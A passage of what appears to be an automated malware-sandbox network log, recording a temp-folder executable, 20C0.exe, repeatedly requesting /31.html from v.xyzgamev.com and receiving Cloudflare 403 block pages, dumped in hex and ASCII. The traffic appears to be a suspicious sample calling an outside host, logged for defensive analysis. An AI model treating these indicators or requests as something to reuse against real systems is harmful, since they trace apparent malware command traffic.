class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:08 UTC	4798	IN	Data Raw: 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 Data Ascii: ef="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieE
2022-08-31 12:29:08 UTC	4800	IN	Data Raw: 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 Data Ascii: -columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online
2022-08-31 12:29:08 UTC	4801	IN	Data Raw: 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: ck sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">
2022-08-31 12:29:08 UTC	4802	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49763	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:08 UTC	4802	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:08 UTC	4802	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:23 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5rGGCE0HS%2BSo1q9OniPLns7bhuMFHbYHU4vrgLbnt0PyixLhuN13tDJKMg4MhE%2F2XXRcvswHtvtbh8Lvx8WZN6J5RSKUJ8MUGVKnvWsN88y4gQsMbbP0%2Bx3TF5x62GC7ew%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5202eb7901c-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:08 UTC	4803	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:08 UTC	4804	IN	Data Raw: 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 Data Ascii: ef="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieE
2022-08-31 12:29:08 UTC	4805	IN	Data Raw: 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 Data Ascii: -columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online
2022-08-31 12:29:08 UTC	4806	IN	Data Raw: 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: ck sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">
2022-08-31 12:29:08 UTC	4807	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49764	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:08 UTC	4807	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:08 UTC	4808	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:23 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DhUroTVBkq76KRsOudlADMlF%2BeQO3YH7UHdNJsv9dJMtr5FB0S8TZo3oAkUQLmtui9p4iQK18arNv0yJegx6y822uDp9NMnx71MNrtWkzikQpbRRPm47mGN7way%2BPB6zEQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c521ac909280-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:08 UTC	4808	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:08 UTC	4809	IN	Data Raw: 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 Data Ascii: ="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEna
2022-08-31 12:29:08 UTC	4810	IN	Data Raw: 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 20 61 Data Ascii: olumns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online a
2022-08-31 12:29:08 UTC	4812	IN	Data Raw: 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">&b
2022-08-31 12:29:08 UTC	4813	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49765	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:08 UTC	4813	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:09 UTC	4813	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:24 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fr9gxC1x0%2F0p6z%2F%2FCwp6ybrVj6ByZ2EbybgB8WUIpdJGNDcib%2F18bCIlT73yetwvGtCMYq1KEwqzbhaQRNXKYw6ImKl0R6mQNL7x3ZbWw%2BwvVncaWvq6CCWZqqj%2B%2FYMctg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5235c497711-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:09 UTC	4813	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:09 UTC	4814	IN	Data Raw: 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 Data Ascii: -css" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator
2022-08-31 12:29:09 UTC	4815	IN	Data Raw: 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f Data Ascii: lass="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself fro
2022-08-31 12:29:09 UTC	4817	IN	Data Raw: 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: n sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:
2022-08-31 12:29:09 UTC	4818	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49766	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:09 UTC	4818	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:09 UTC	4818	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:24 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gE9OsTu9%2FzmdeuXJDtFQFxo7P6Ucg6Y6lc9Evir%2Br3%2BdhfQs2OsngG2gng3g0HZcwWtaHeo%2FRITp4EjixusVRjn3Knfy96NkYk0HQUgpVnz2B5oup3kxp7OeYZJ0SE7%2F%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c526dac9742b-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:09 UTC	4819	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
